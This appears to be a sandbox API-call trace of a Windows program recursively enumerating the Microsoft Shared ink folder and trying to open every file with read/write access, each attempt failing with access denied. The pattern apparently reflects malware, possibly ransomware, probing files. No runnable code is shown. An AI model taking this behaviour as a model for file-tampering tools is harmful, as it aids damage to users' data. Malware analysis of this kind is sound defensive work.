0x5 [0086.438] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0086.438] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.438] GetLastError () returned 0x5 [0086.438] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0086.438] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0086.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.440] GetLastError () returned 0x5 [0086.440] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0086.440] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0086.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.440] GetLastError () returned 0x5 [0086.440] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0086.440] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0086.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.441] GetLastError () returned 0x5 [0086.441] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0086.441] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0086.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.441] GetLastError () returned 0x5 [0086.441] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0086.441] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0086.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.443] GetLastError () returned 0x5 [0086.443] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0086.443] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0086.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.443] GetLastError () returned 0x5 [0086.443] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0086.443] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0086.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.443] GetLastError () returned 0x5 [0086.443] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0086.443] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0086.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.444] GetLastError () returned 0x5 [0086.444] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0086.444] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0086.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.444] GetLastError () returned 0x5 [0086.444] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0086.444] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0086.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.446] GetLastError () returned 0x5 [0086.446] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0086.446] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0086.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.446] GetLastError () returned 0x5 [0086.446] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0086.446] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0086.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.446] GetLastError () returned 0x5 [0086.446] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0086.447] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0086.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.447] GetLastError () returned 0x5 [0086.447] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0086.447] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT") returned 56 [0086.447] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*") returned 60 [0086.447] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.448] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.448] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.448] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0086.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.448] GetLastError () returned 0x5 [0086.448] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.449] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0086.449] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP") returned 56 [0086.449] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*") returned 60 [0086.449] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.450] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.450] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.450] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0086.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.450] GetLastError () returned 0x5 [0086.450] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.450] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.450] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0086.450] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0086.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.451] GetLastError () returned 0x5 [0086.451] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0086.451] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR") returned 56 [0086.451] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*") returned 60 [0086.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.452] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.452] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, 